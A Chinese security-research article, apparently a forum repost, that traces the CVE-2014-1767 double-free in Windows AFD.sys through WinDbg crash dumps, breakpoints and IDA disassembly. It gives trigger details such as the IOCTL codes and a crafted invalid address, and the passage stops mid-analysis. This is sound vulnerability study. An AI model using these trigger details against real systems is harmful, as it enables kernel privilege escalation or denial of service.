本文为看雪论坛优秀文章
看雪论坛作者ID:Hacksign
本文首发于 https://www.debugwar.com/article/NLE-Analyze-CVE-2014-1767, 授权转载到看雪论坛,其他转载请注明出处。
一
简介
该漏洞为Pwn2014上Siberas团队公布的提权漏洞,此漏洞出现在AFD.sys文件中,POC将以DoubleFree的形式触发漏洞,利用思路是通过将DoubleFree漏洞转换为UAF来构造Exploit。
本文的调试环境为Windows 7 SP1 x86,通过双虚拟机双机调试。这和参考1中漏洞发现者的环境不同, 因此有些细节也不一样(例如漏洞发现者PDF中提到的内存为NonPagedPoolNx, 而我们的是NonPagePool)。
本漏洞成因简单、利用思路也非常经典, 因此极为适合新手作为漏洞学习的入门洞。
二
漏洞触发
漏洞触发现场
漏洞触发现场如下:
*
Bugcheck Analysis *
*
BAD_POOL_CALLER (c2)
The current thread is making a bad pool request. Typically this is at a bad IRQL level or double freeing the same allocation, etc.
Arguments:
Arg1: 00000007, Attempt to free pool which was already freed
Arg2: 00001097, Pool tag value from the pool header
Arg3: 08b50005, Contents of the first 4 bytes of the pool header
Arg4: 8757da60, Address of the block of pool being deallocated
Debugging Details:
KEY_VALUES_STRING: 1
Key : Analysis.CPU.mSec
Value: 5140
Key : Analysis.DebugAnalysisManager
Value: Create
Key : Analysis.Elapsed.mSec
Value: 17640
Key : Analysis.Init.CPU.mSec
Value: 3765
Key : Analysis.Init.Elapsed.mSec
Value: 107564
Key : Analysis.Memory.CommitPeak.Mb
Value: 69
Key : WER.OS.Branch
Value: win7sp1_rtm
Key : WER.OS.Timestamp
Value: 2010-11-19T18:50:00Z
Key : WER.OS.Version
Value: 7.1.7601.17514
BUGCHECK_CODE: c2
BUGCHECK_P1: 7
BUGCHECK_P2: 1097
BUGCHECK_P3: 8b50005
BUGCHECK_P4: ffffffff8757da60
POOL_ADDRESS: 8757da60 Nonpaged pool
FREED_POOL_TAG: Mdl_
PROCESS_NAME: CVE-2014-1767.exe
STACK_TEXT:
80f6454c 83ce6589 00000003 610826c5 00000065 nt!RtlpBreakWithStatusInstruction
80f6459c 83ce7085 00000003 8757da58 000001ff nt!KiBugCheckDebugBreak+0x1c
80f64960 83d2cc4e 000000c2 00000007 00001097 nt!KeBugCheck2+0x68b
80f649d8 83c8276a 8757da60 00000000 89136350 nt!ExFreePoolWithTag+0x1b2
80f649ec 8e3a6eb0 8757da60 00000000 8e38989f nt!IoFreeMdl+0x70
80f64a08 8e3898ac 00000000 00000001 0ec1bfa8 afd!AfdReturnTpInfo+0xad
80f64a44 8e38abba 0ec1bf00 000120c3 8e38aa8c afd!AfdTliGetTpInfo+0x89
80f64aec 8e38f2bc 89067880 87610030 80f64b14 afd!AfdTransmitPackets+0x12e
80f64afc 83c43047 87610030 890a8ee0 890a8ee0 afd!AfdDispatchDeviceControl+0x3b
80f64b14 83e199d5 89067880 890a8ee0 890a8fbc nt!IofCallDriver+0x63
80f64b34 83e1bdc8 87610030 89067880 00000000 nt!IopSynchronousServiceTail+0x1f8
80f64bd0 83e22d9d 87610030 890a8ee0 00000000 nt!IopXxxControlFile+0x6aa
80f64c04 83c4987a 00000050 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
frames may have been skipped due to lack of complete unwind>
80f64c04 778770b4 (T) 00000050 00000000 00000000 nt!KiFastCallEntry+0x12a
frames may have been skipped due to lack of complete unwind>
002cf478 77875864 (T) 75a0989d 00000050 00000000 ntdll!KiFastSystemCallRet
002cf47c 75a0989d 00000050 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc
002cf4dc 75d2a671 00000050 000120c3 01326200 KERNELBASE!DeviceIoControl+0xf6
002cf508 013217be 00000050 000120c3 01326200 kernel32!DeviceIoControlImplementation+0x80
WARNING: Stack unwind information not available. Following frames may be wrong.
002cf6f8 01321396 00000012 000c0ffc 000c0fec CVE_2014_1767+0x17be
002cf798 75d33c45 00000000 75d33c45 7ffd9000 CVE_2014_1767+0x1396
002cf7ac 778937f5 7ffd9000 77be9209 00000000 kernel32!BaseThreadInitThunk+0xe
002cf7ec 778937c8 013214c0 7ffd9000 00000000 ntdll!__RtlUserThreadStart+0x70
002cf804 00000000 013214c0 7ffd9000 00000000 ntdll!_RtlUserThreadStart+0x1b
SYMBOL_NAME: afd!AfdReturnTpInfo+ad
MODULE_NAME: afd
IMAGE_NAME: afd.sys
STACK_COMMAND: .thread ; .cxr ; kb
FAILURE_BUCKET_ID: 0xc2_7_Mdl__afd!AfdReturnTpInfo+ad
OS_VERSION: 7.1.7601.17514
BUILDLAB_STR: win7sp1_rtm
OSPLATFORM_TYPE: x86
OSNAME: Windows 7
FAILURE_ID_HASH: {7fe1e721-1d80-7be3-9354-8d3b5b5ab1ef}
Followup: MachineOwner
---------
由上述第69行可知,为IoFreeMdl在释放8757da60时出现Double Free错误导致。到这里,很自然会产生如下几个疑问:
其中,第四个问题可以立刻解答,因为当前现场即是第二次释放现场。
为了解答上面的第一个终极问题,我们要先搞清楚问题2、3。
寻找内存分配时机
(注意:由于该漏洞属于内核级漏洞,因此调试过程中需要不停重启,因此下文中截图涉及内存地址的地方会有差异。)
既然是寻找Mdl的内存分配,首先看一眼IoAllocateMdl的调用交叉引用:
Emmm……打消了一个一个找的念头。
然后想利用条件断点在IoAllocateMdl返回8757da60这个地址时下断,发现一旦下了断点,这个地址会发生改变——似乎进入死胡同了(后来发现其实多断几次总是能断到的)。
这里网上大部分的分析文章都是从POC的两次DeviceIOControl着手分析。本文本着自虐的原则,笔者会假设我们并不知道POC的内容是什么,这次BugCheck只是漏洞挖掘的Fuzz环境中发现的一次内核级异常,我们将尽量尝试贴近真实的漏洞挖掘环境。
首先上IDA看一下出现异常的现场上下文是怎样的(注意,下图中已经加载了符号分析得到的数据结构):
有的朋友可能好奇这些数据结构是如何分析得到的,在这里笔者只能告诉大家,通过对:AfdReturnTpInfo、AfdTransmitFile、AfdTliGetTpInfo可以得到如下关键结构:
struct struc_UnkObj
NTSTATUS Status;
int Length;
PVOID VirtualAddress;
PMDL MdlAddress;
PFILE_OBJECT Object;
int field_14;
struct struc_TPInfo
PIRP field_0;
int field_4;
int field_8;
int field_C;
int field_10;
int field_14;
int field_18;
PIRP Irp3;
struc_UnkObj *UnkObjArray;
int field_24;
int UnkCounter;
int field_2C;
int IrpCounter;
int field_34;
int AfdTransmitIoLength;
int field_3C;
int field_40;
int field_44;
int field_48;
int field_4C;
int field_50;
int field_54;
int field_58;
int field_5C;
int field_60;
int field_64;
int field_68;
int field_6C;
PIRP Irp;
PIRP Irp2;
int field_78;
int field_7C;
int field_80;
int field_84;
int field_88;
int field_8C;
int field_90;
int field_94;
};
然后看一眼出问题的struc_UnkObj->MdlAddress的交叉引用:
发现对MdlAddress成员的写操作,均在AfdTransmitFile函数中,然后在调试器中对几次MdlAddress赋值的地方下断点,中断后情况如下:
此时看一下eax的值(8757da60),发现和本文一开始异常发生时,IoFreeMdl尝试释放的值一致。说明我们找对分配内存的地方了:
其实简单一点来说就是,struc_TPInfo(v6和v7)由下图92行的AlfTliGetIpInfo构造并初始化、struc_TPInfo->struc_UnkObj(v50和v11)的MdlAddress成员由下图122行分配。
特别强调,由于内存通过上图92行的AfdTliGetTpInfo分配struc_TPInfo结构后,继续由122行的IoAllocateMdl分配了一个初始化的MDL内存,因此第一次IoFreeMdl释放这块内存时是不会蓝屏的(详见下一节分析)。
寻找第一次释放时机
OK,既然目前内存何时分配已经清楚了,那我们来看一下这块内存第一次是何时释放的。
在WinDbg中下如下断点:
bp nt!IoFreeMdl ".if(poi(@esp + 0x4) = 0xffffffff`8757da60){}.else{gc;}"
注意,这里有一个坑, 由于笔者是用64位WindDBG调试32位系统, 上面断点的值是64位的, 实测使用32位的值无法中断。
中断在如下地址:
kd> r
eax=8757da60 ebx=8913b7b8 ecx=00000000 edx=00000000 esi=89107410 edi=89107380
eip=8e38a48e esp=80e5ca48 ebp=80e5caec iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246
afd!AfdTransmitFile+0x170:
8e38a48e 89460c mov dword ptr [esi+0Ch],eax ds:0023:8910741c=ffffffff
kd> bp nt!IoFreeMdl ".if(poi(@esp + 0x4) = 0xffffffff`8757da60){}.else{gc;}"
kd> bl
0 e Disable Clear 83c826fa 0001 (0001) nt!IoFreeMdl ".if(poi(@esp + 0x4) = 0xffffffff`8757da60){}.else{gc;}"
kd> g
nt!IoFreeMdl:
83c826fa 8bff mov edi,edi
kd> kb
# ChildEBP RetAddr Args to Child
00 80e5ca1c 8e3a6eb0 8757da60 00000000 8e38a840 nt!IoFreeMdl
01 80e5ca38 8e38a8c1 00000000 00000001 0ed23f00 afd!AfdReturnTpInfo+0xad
02 80e5caec 8e38f2bc 890ad7c0 87610030 80e5cb14 afd!AfdTransmitFile+0x5a3
03 80e5cafc 83c43047 87610030 8913b7b8 8913b7b8 afd!AfdDispatchDeviceControl+0x3b
04 80e5cb14 83e199d5 890ad7c0 8913b7b8 8913b894 nt!IofCallDriver+0x63
05 80e5cb34 83e1bdc8 87610030 890ad7c0 00000000 nt!IopSynchronousServiceTail+0x1f8
06 80e5cbd0 83e22d9d 87610030 8913b7b8 00000000 nt!IopXxxControlFile+0x6aa
07 80e5cc04 83c4987a 00000050 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
<Intermediate frames may have been skipped due to lack of complete unwind>
08 80e5cc04 778770b4 (T) 00000050 00000000 00000000 nt!KiFastCallEntry+0x12a
<Intermediate frames may have been skipped due to lack of complete unwind>
09 0051f498 77875864 (T) 75a0989d 00000050 00000000 ntdll!KiFastSystemCallRet
0a 0051f49c 75a0989d 00000050 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc
0b 0051f4fc 75d2a671 00000050 0001207f 00156060 KERNELBASE!DeviceIoControl+0xf6 // 此时control code为0x1207f
0c 0051f528 00151774 00000050 0001207f 00156060 kernel32!DeviceIoControlImplementation+0x80
WARNING: Stack unwind information not available. Following frames may be wrong.
0d 0051f718 00151396 00000012 00220ffc 00220fec CVE_2014_1767+0x1774
0e 0051f7b8 75d33c45 00000000 00000000 75d33c45 CVE_2014_1767+0x1396
0f 0051f7d0 778937f5 7ffde000 77c39b57 00000000 kernel32!BaseThreadInitThunk+0xe
10 0051f810 778937c8 001514c0 7ffde000 00000000 ntdll!__RtlUserThreadStart+0x70
11 0051f828 00000000 001514c0 7ffde000 00000000 ntdll!_RtlUserThreadStart+0x1b
发现调用路径是:
AfdTransmitFile -> AfdReturnTpInfo -> IoFreeMdl
顺着调用链继续追踪:
PAGE:0002C840 loc_2C840: ; DATA XREF: .rdata:stru_20A38↑o
PAGE:0002C840 ; __except(loc_2C833) // owned by 2C376
PAGE:0002C840 mov esp, [ebp+ms_exc.old_esp]
PAGE:0002C843 mov [ebp+ms_exc.registration.TryLevel], 0FFFFFFFEh
PAGE:0002C84A mov ebx, [ebp+var_38]
PAGE:0002C84D
PAGE:0002C84D loc_2C84D: ; CODE XREF: AfdTransmitFile(x,x)+3E↑j
PAGE:0002C84D ; AfdTransmitFile(x,x)+50↑j ...
PAGE:0002C84D cmp [ebp+var_19], 0
PAGE:0002C851 jz short loc_2C8A4
PAGE:0002C853 mov ecx, [ebp+var_30]
PAGE:0002C856 xor eax, eax
PAGE:0002C858 inc eax
PAGE:0002C859 cmp [ecx+4], eax
PAGE:0002C85C jb short loc_2C8A4
PAGE:0002C85E cmp byte ptr [ebx+20h], 0
PAGE:0002C862 jz short loc_2C89E
………………
PAGE:0002C8A4 loc_2C8A4: ; CODE XREF: AfdTransmitFile(x,x)+533↑j
PAGE:0002C8A4 ; AfdTransmitFile(x,x)+53E↑j ...
PAGE:0002C8A4 cmp [ebp+TPInfo], 0
PAGE:0002C8A8 jz short loc_2C8C1
PAGE:0002C8AA mov eax, [ebp+var_34]
PAGE:0002C8AD mov eax, [eax+8]
PAGE:0002C8B0 shr eax, 9
PAGE:0002C8B3 and al, 1
PAGE:0002C8B5 movzx eax, al
PAGE:0002C8B8 push eax ; IsFreeMemory
PAGE:0002C8B9 push [ebp+TPInfo] ; Entry
PAGE:0002C8BC call _AfdReturnTpInfo@8 ; AfdReturnTpInfo(x,x)
PAGE:0002C8C1
PAGE:0002C8C1 loc_2C8C1: ; CODE XREF: AfdTransmitFile(x,x)+58A↑j
PAGE:0002C8C1 and dword ptr [ebx+1Ch], 0
PAGE:0002C8C5 mov eax, [ebp+var_20]
PAGE:0002C8C8 mov [ebx+18h], eax
PAGE:0002C8CB xor dl, dl ; PriorityBoost
PAGE:0002C8CD mov ecx, ebx ; Irp
PAGE:0002C8CF call ds:__imp_@IofCompleteRequest@8 ; IofCompleteRequest(x,x)
PAGE:0002C8D5 mov eax, [ebp+var_20]
PAGE:0002C8D8
PAGE:0002C8D8 loc_2C8D8: ; CODE XREF: AfdTransmitFile(x,x)+4F1↑j
PAGE:0002C8D8 call __SEH_epilog4
PAGE:0002C8DD retn
发现上面这一片是异常处理代码,其try块位于 2C376 处, 而这个try块恰好包含我们上面跟踪到的分配Mdl内存的代码:
PAGE:0002C376 ; __try { // __except at loc_2C840
PAGE:0002C376 mov [ebp+ms_exc.registration.TryLevel], ecx
PAGE:0002C379 cmp byte ptr [ebx+20h], 0
……………………
PAGE:0002C44B
PAGE:0002C44B loc_2C44B: ; CODE XREF: AfdTransmitFile(x,x)+127↑j
PAGE:0002C44B mov edx, [ebp+FileInformation.Length]
PAGE:0002C44E test edx, edx ; Lengt != 0
PAGE:0002C450 jbe short loc_2C4A3 ; no jmp
PAGE:0002C452 mov ecx, [ebp+var_28]
PAGE:0002C455 mov eax, [ecx]
PAGE:0002C457 mov esi, eax
PAGE:0002C459 imul esi, 18h
PAGE:0002C45C add esi, [edi+20h]
PAGE:0002C45F mov [ebp+var_2C], esi
PAGE:0002C462 inc eax
PAGE:0002C463 mov [ecx], eax
PAGE:0002C465 mov eax, [ebp+FileInformation.VirtualAddress]
PAGE:0002C468 mov [esi+8], eax
PAGE:0002C46B mov [esi+4], edx
PAGE:0002C46E mov dword ptr [esi], 1
PAGE:0002C474 test byte ptr [ebp+FileInformation.field_28], 10h
PAGE:0002C478 jz short loc_2C4A3
PAGE:0002C47A mov dword ptr [esi], 80000001h
PAGE:0002C480 push 0 ; Irp
PAGE:0002C482 push 1 ; ChargeQuota
PAGE:0002C484 push 0 ; SecondaryBuffer
PAGE:0002C486 push edx ; Length
PAGE:0002C487 push eax ; VirtualAddress
PAGE:0002C488 call ds:__imp__IoAllocateMdl@20 ; IoAllocateMdl(x,x,x,x,x) // 此处地址即为 `寻找内存分配时机` 一节中分析得到的内存分配点(参考上文)
PAGE:0002C48E mov [esi+0Ch], eax
PAGE:0002C491 test eax, eax
PAGE:0002C493 jz short loc_2C417
PAGE:0002C495 push 0 ; Operation
PAGE:0002C497 movzx ecx, byte ptr [ebx+20h]
PAGE:0002C49B push ecx ; AccessMode
PAGE:0002C49C push eax ; MemoryDescriptorList
PAGE:0002C49D call ds:__imp__MmProbeAndLockPages@12 ; MmProbeAndLockPages(x,x,x) <--- 此处触发异常,控制权交给异常处理代码
PAGE:0002C4A3
……………………
PAGE:0002C670 mov eax, [ebp+FileInformation.field_28]
PAGE:0002C673 mov [ebx+44h], eax
PAGE:0002C673 ; } // starts at 2C376
让我们来看一下上面30行地址的调试器现场:
结合IoAllocateMdl函数原型:
PMDL IoAllocateMdl(
[in, optional] __drv_aliasesMem PVOID VirtualAddress,
[in] ULONG Length,
[in] BOOLEAN SecondaryBuffer,
[in] BOOLEAN ChargeQuota,
[in, out, optional] PIRP Irp
);
可知,此时程序正在尝试从0x13371337地址处分配一块0x0015fcd9大小的内存。而上图中8e38a49d地址处的call MmPorbeAndLockPages则尝试锁定刚刚分配的这块Mdl内存。
由于MDL中的内存地址是(我们控制,见下文分析)非法地址(0x13371337),从而导致MmProbeAndLockPage抛出异常,代码控制权转移到了异常控制块,从而需要依次调用:
AfdReturnTpInfo -> IoFreeMdl
也就是我们上面发现的异常调用链,至此第一次释放的原因已经分析清楚。
这时,需要注意一点:程序在调用IoFreeMdl之后,并没有将Mdl的指针设置为NULL,这里造成了悬挂指针的问题:
上图中,Entry为struc_TPInfo结构,由于这里并没有将struc_TPInfo->UnkObjArray的各个元素以及这个数组的各个子元素置NULL,当AfdReturnTpInfo最后释放Entry后,如果我们再次申请一个struc_TPInfo结构,则会得到保留了上次数据的一块内存,这里即产生了悬挂指针的问题。
包袱1
这里笔者留个包袱,这个包袱将关联后文的构造POC一节。
通过分析释放时机可知,导致第一次内存释放的调用链:
CVE_2014_1767-> nt!DeviceIoControl -> afd!DispatchDeviceControl -> afd!AfdTransmitFile
通过回溯DeviceIoControl调用栈里面的信息,可知如下几个调用参数:
控制码(ControlCode):0x1207f
输入缓冲区地址:0x132606
输入缓冲区长度:0x30
如下图:
(如果现在对比POC中填充的inbuf1,就可以看到上图中0x1326060+6*0x4位置处开始即为POC代码填充的数据了,此时可见上文中提到的非法地址:0x13371337)
寻找第二次内存释放时机
上一节结尾提到
“如果我们再次申请一个struc_TPInfo结构,则会得到保留了上次数据的一块内存”
而通过“寻找内存分配时机”一节可知,AfdTliGetTpInfo负责分配一个struc_TPInfo结构。
那么AfdTliGetTpInfo函数有几次调用呢?看下图:
可见AfdTransmitPackets函数还会调用一次这个函数, 这也是本节我们将要分析的点。
我们继续在windbg中执行g命令让程序继续跑:
g
:
83c826fa 8bff mov edi,edi
kb
# ChildEBP RetAddr Args to Child
00 80e5c9ec 8e3a6eb0 8757da60 00000000 8e38989f nt!IoFreeMdl
01 80e5ca08 8e3898ac 00000000 00000001 0ed23fa8 afd!AfdReturnTpInfo+0xad
02 80e5ca44 8e38abba 0ed23f00 000120c3 8e38aa8c afd!AfdTliGetTpInfo+0x89
03 80e5caec 8e38f2bc 890ad7c0 87610030 80e5cb14 afd!AfdTransmitPackets+0x12e
04 80e5cafc 83c43047 87610030 8913b7b8 8913b7b8 afd!AfdDispatchDeviceControl+0x3b
05 80e5cb14 83e199d5 890ad7c0 8913b7b8 8913b894 nt!IofCallDriver+0x63
06 80e5cb34 83e1bdc8 87610030 890ad7c0 00000000 nt!IopSynchronousServiceTail+0x1f8
07 80e5cbd0 83e22d9d 87610030 8913b7b8 00000000 nt!IopXxxControlFile+0x6aa
08 80e5cc04 83c4987a 00000050 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
frames may have been skipped due to lack of complete unwind>
09 80e5cc04 778770b4 (T) 00000050 00000000 00000000 nt!KiFastCallEntry+0x12a
frames may have been skipped due to lack of complete unwind>
0a 0051f498 77875864 (T) 75a0989d 00000050 00000000 ntdll!KiFastSystemCallRet
0b 0051f49c 75a0989d 00000050 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc
0c 0051f4fc 75d2a671 00000050 000120c3 00156200 KERNELBASE!DeviceIoControl+0xf6
0d 0051f528 001517be 00000050 000120c3 00156200 kernel32!DeviceIoControlImplementation+0x80
WARNING: Stack unwind information not available. Following frames may be wrong.
0e 0051f718 00151396 00000012 00220ffc 00220fec CVE_2014_1767+0x17be
0f 0051f7b8 75d33c45 00000000 00000000 75d33c45 CVE_2014_1767+0x1396
10 0051f7d0 778937f5 7ffde000 77c39b57 00000000 kernel32!BaseThreadInitThunk+0xe
11 0051f810 778937c8 001514c0 7ffde000 00000000 ntdll!__RtlUserThreadStart+0x70
12 0051f828 00000000 001514c0 7ffde000 00000000 ntdll!_RtlUserThreadStart+0x1b
g // 此处如果再g一次,便可以得到本文一开始的BSOD现场
Fatal System Error: 0x000000c2
Break instruction exception - code 80000003 (first chance)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
For analysis of this file, run !analyze -v
:
83c6cd00 cc int 3
!analyze -v // 通过下文的堆栈分析可以发现现场和本文一开始一致
Connected to Windows 7 7601 x86 compatible target at (Tue Mar 22 14:02:00.608 2022 (UTC + 8:00)), ptr64 FALSE
Loading Kernel Symbols
Press ctrl-c (cdb, kd, ntsd) or ctrl-break (windbg) to abort symbol loads that take too long.
Run !sym noisy before .reload to track down problems loading symbols.
Loading User Symbols
Loading unloaded module list
*
Bugcheck Analysis *
*
BAD_POOL_CALLER (c2)
The current thread is making a bad pool request. Typically this is at a bad IRQL level or double freeing the same allocation, etc.
Arguments:
Arg1: 00000007, Attempt to free pool which was already freed
Arg2: 00001097, Pool tag value from the pool header
Arg3: 08b50005, Contents of the first 4 bytes of the pool header
Arg4: 8757da60, Address of the block of pool being deallocated
Debugging Details:
***
***
Either you specified an unqualified symbol, or your debugger ***
doesn't have full symbol information. Unqualified symbol ***
resolution is turned off by default. Please either specify a ***
fully qualified symbol module!symbolname, or enable resolution ***
of unqualified symbols by typing ".symopt- 100". Note that ***
enabling unqualified symbol resolution with network symbol ***
server shares in the symbol path may cause the debugger to ***
appear to hang for long periods of time when an incorrect ***
symbol name is typed or the network symbol server is down. ***
***
For some commands to work properly, your symbol path ***
must point to .pdb files that have full type information. ***
***
Certain .pdb files (such as the public OS symbols) do not ***
contain the required information. Contact the group that ***
provided you with these symbols if you need this command to ***
work. ***
***
Type referenced: kernel32!gpServerNlsUserInfo ***
***
KEY_VALUES_STRING: 1
Key : Analysis.CPU.mSec
Value: 5296
Key : Analysis.DebugAnalysisManager
Value: Create
Key : Analysis.Elapsed.mSec
Value: 12813
Key : Analysis.Init.CPU.mSec
Value: 7218
Key : Analysis.Init.Elapsed.mSec
Value: 127788
Key : Analysis.Memory.CommitPeak.Mb
Value: 147
Key : WER.OS.Branch
Value: win7sp1_rtm
Key : WER.OS.Timestamp
Value: 2010-11-19T18:50:00Z
Key : WER.OS.Version
Value: 7.1.7601.17514
BUGCHECK_CODE: c2
BUGCHECK_P1: 7
BUGCHECK_P2: 1097
BUGCHECK_P3: 8b50005
BUGCHECK_P4: ffffffff8757da60
POOL_ADDRESS: 8757da60 Nonpaged pool
FREED_POOL_TAG: Mdl_
PROCESS_NAME: CVE-2014-1767.exe
STACK_TEXT:
80e5c54c 83ce6589 00000003 611ba6c5 00000065 nt!RtlpBreakWithStatusInstruction
80e5c59c 83ce7085 00000003 8757da58 000001ff nt!KiBugCheckDebugBreak+0x1c
80e5c960 83d2cc4e 000000c2 00000007 00001097 nt!KeBugCheck2+0x68b
80e5c9d8 83c8276a 8757da60 00000000 89107380 nt!ExFreePoolWithTag+0x1b2
80e5c9ec 8e3a6eb0 8757da60 00000000 8e38989f nt!IoFreeMdl+0x70
80e5ca08 8e3898ac 00000000 00000001 0ed23fa8 afd!AfdReturnTpInfo+0xad
80e5ca44 8e38abba 0ed23f00 000120c3 8e38aa8c afd!AfdTliGetTpInfo+0x89
80e5caec 8e38f2bc 890ad7c0 87610030 80e5cb14 afd!AfdTransmitPackets+0x12e
80e5cafc 83c43047 87610030 8913b7b8 8913b7b8 afd!AfdDispatchDeviceControl+0x3b
80e5cb14 83e199d5 890ad7c0 8913b7b8 8913b894 nt!IofCallDriver+0x63
80e5cb34 83e1bdc8 87610030 890ad7c0 00000000 nt!IopSynchronousServiceTail+0x1f8
80e5cbd0 83e22d9d 87610030 8913b7b8 00000000 nt!IopXxxControlFile+0x6aa
80e5cc04 83c4987a 00000050 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
frames may have been skipped due to lack of complete unwind>
80e5cc04 778770b4 (T) 00000050 00000000 00000000 nt!KiFastCallEntry+0x12a
frames may have been skipped due to lack of complete unwind>
0051f498 77875864 (T) 75a0989d 00000050 00000000 ntdll!KiFastSystemCallRet
0051f49c 75a0989d 00000050 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc
0051f4fc 75d2a671 00000050 000120c3 00156200 KERNELBASE!DeviceIoControl+0xf6 //此时control code为0x120c3
0051f528 001517be 00000050 000120c3 00156200 kernel32!DeviceIoControlImplementation+0x80
WARNING: Stack unwind information not available. Following frames may be wrong.
0051f718 00151396 00000012 00220ffc 00220fec CVE_2014_1767+0x17be
0051f7b8 75d33c45 00000000 00000000 75d33c45 CVE_2014_1767+0x1396
0051f7d0 778937f5 7ffde000 77c39b57 00000000 kernel32!BaseThreadInitThunk+0xe
0051f810 778937c8 001514c0 7ffde000 00000000 ntdll!__RtlUserThreadStart+0x70
0051f828 00000000 001514c0 7ffde000 00000000 ntdll!_RtlUserThreadStart+0x1b
SYMBOL_NAME: afd!AfdReturnTpInfo+ad
MODULE_NAME: afd
IMAGE_NAME: afd.sys
STACK_COMMAND: .thread ; .cxr ; kb
FAILURE_BUCKET_ID: 0xc2_7_Mdl__afd!AfdReturnTpInfo+ad
OS_VERSION: 7.1.7601.17514
BUILDLAB_STR: win7sp1_rtm
OSPLATFORM_TYPE: x86
OSNAME: Windows 7
FAILURE_ID_HASH: {7fe1e721-1d80-7be3-9354-8d3b5b5ab1ef}
Followup: MachineOwner
---------
可以看到,第二次释放的调用链为:
AfdTransmitPackets -> AfdTliGetTpInfo -> AfdReturnTpInfo -> IoFreeMdl
此时我们如果再g一下,就会得到本文一开始一模一样的异常现场。
通过上面的调用链可以知道,第二次释放也是通过AfdReturnTpInfo最终触发的IoFreeMdl, 但是本次调用链上多了一个函数调用,即AfdTliGetTpInfo,让我们先看一下本函数的反汇编代码:
PAGE:0002B823 ; struc_TPInfo *__fastcall AfdTliGetTpInfo(unsigned int a1)
PAGE:0002B823 @AfdTliGetTpInfo@4 proc near ; CODE XREF: AfdTransmitFile(x,x)+E4↓p
PAGE:0002B823 ; AfdTransmitPackets(x,x)+129↓p
PAGE:0002B823
PAGE:0002B823 Entry = dword ptr -1Ch
PAGE:0002B823 ms_exc = CPPEH_RECORD ptr -18h
PAGE:0002B823
PAGE:0002B823 ; __unwind { // __SEH_prolog4
PAGE:0002B823 push 0Ch
PAGE:0002B825 push offset stru_20998
PAGE:0002B82A call __SEH_prolog4
PAGE:0002B82F mov edi, ecx
PAGE:0002B831 mov eax, _AfdGlobalData
PAGE:0002B836 add eax, 178h
PAGE:0002B83B push eax ; Lookaside
PAGE:0002B83C call _ExAllocateFromNPagedLookasideList@4 ; ExAllocateFromNPagedLookasideList(x)
PAGE:0002B841 mov esi, eax
PAGE:0002B843 mov [ebp+Entry], esi
PAGE:0002B846 xor ecx, ecx
PAGE:0002B848 cmp esi, ecx
PAGE:0002B84A jnz short loc_2B850
PAGE:0002B84C xor eax, eax
PAGE:0002B84E jmp short loc_2B8B7
PAGE:0002B850 ; ---------------------------------------------------------------------------
PAGE:0002B850
PAGE:0002B850 loc_2B850: ; CODE XREF: AfdTliGetTpInfo(x)+27↑j
PAGE:0002B850 mov [esi+8], ecx
PAGE:0002B853 lea eax, [esi+0Ch]
PAGE:0002B856 mov [eax], ecx
PAGE:0002B858 mov [esi+10h], eax
PAGE:0002B85B lea eax, [esi+14h]
PAGE:0002B85E mov [eax], ecx
PAGE:0002B860 mov [esi+18h], eax
PAGE:0002B863 mov [esi+34h], ecx
PAGE:0002B866 mov [esi+33h], cl
PAGE:0002B869 mov [esi+24h], ecx
PAGE:0002B86C or dword ptr [esi+2Ch], 0FFFFFFFFh
PAGE:0002B870 mov [esi+3Ch], ecx
PAGE:0002B873 mov [esi+4], ecx
PAGE:0002B876 cmp edi, _AfdDefaultTpInfoElementCount
PAGE:0002B87C jbe short loc_2B8B5
PAGE:0002B87E ; __try { // __except at loc_2B89F
PAGE:0002B87E mov [ebp+ms_exc.registration.TryLevel], ecx
PAGE:0002B881 push 0C6646641h ; Tag
PAGE:0002B886 imul edi, 18h
PAGE:0002B889 push edi ; NumberOfBytes
PAGE:0002B88A push 10h ; PoolType
PAGE:0002B88C call ds:__imp__ExAllocatePoolWithQuotaTag@12 ; ExAllocatePoolWithQuotaTag(x,x,x)
PAGE:0002B892 mov [esi+20h], eax
PAGE:0002B895 mov byte ptr [esi+32h], 1
PAGE:0002B899 jmp short loc_2B8AE
PAGE:0002B89B ; ---------------------------------------------------------------------------
PAGE:0002B89B
PAGE:0002B89B loc_2B89B: ; DATA XREF: .rdata:stru_20998↑o
PAGE:0002B89B ; __except filter // owned by 2B87E
PAGE:0002B89B xor eax, eax
PAGE:0002B89D inc eax
PAGE:0002B89E retn
PAGE:0002B89F ; ---------------------------------------------------------------------------
PAGE:0002B89F
PAGE:0002B89F loc_2B89F: ; DATA XREF: .rdata:stru_20998↑o
PAGE:0002B89F ; __except(loc_2B89B) // owned by 2B87E
PAGE:0002B89F mov esp, [ebp+ms_exc.old_esp]
PAGE:0002B8A2 push 1 ; flag
PAGE:0002B8A4 push [ebp+Entry] ; Entry
PAGE:0002B8A7 call _AfdReturnTpInfo@8 ; AfdReturnTpInfo(x,x)
PAGE:0002B8AC xor esi, esi
PAGE:0002B8AC ; } // starts at 2B87E
PAGE:0002B8AE
PAGE:0002B8AE loc_2B8AE: ; CODE XREF: AfdTliGetTpInfo(x)+76↑j
PAGE:0002B8AE mov [ebp+ms_exc.registration.TryLevel], 0FFFFFFFEh
PAGE:0002B8B5
PAGE:0002B8B5 loc_2B8B5: ; CODE XREF: AfdTliGetTpInfo(x)+59↑j
PAGE:0002B8B5 mov eax, esi
PAGE:0002B8B7
PAGE:0002B8B7 loc_2B8B7: ; CODE XREF: AfdTliGetTpInfo(x)+2B↑j
PAGE:0002B8B7 call __SEH_epilog4
PAGE:0002B8BC retn
PAGE:0002B8BC ; } // starts at 2B823
PAGE:0002B8BC @AfdTliGetTpInfo@4 endp
结构上和上次的现场差不多,都包含一个异常处理,通过上面的调用链可知一定是try块中触发了异常才有可能调用到AfdReturnTpInfo, 那我们在0002B88C的call处下断点看一下现场(0x10000为IDA加载afd.sys的基址):
根据ExAllocatePoolWithQuotaTag的定义:
PVOID ExAllocatePoolWithQuotaTag(
[in] __drv_strictTypeMatch(__drv_typeExpr)POOL_TYPE PoolType,
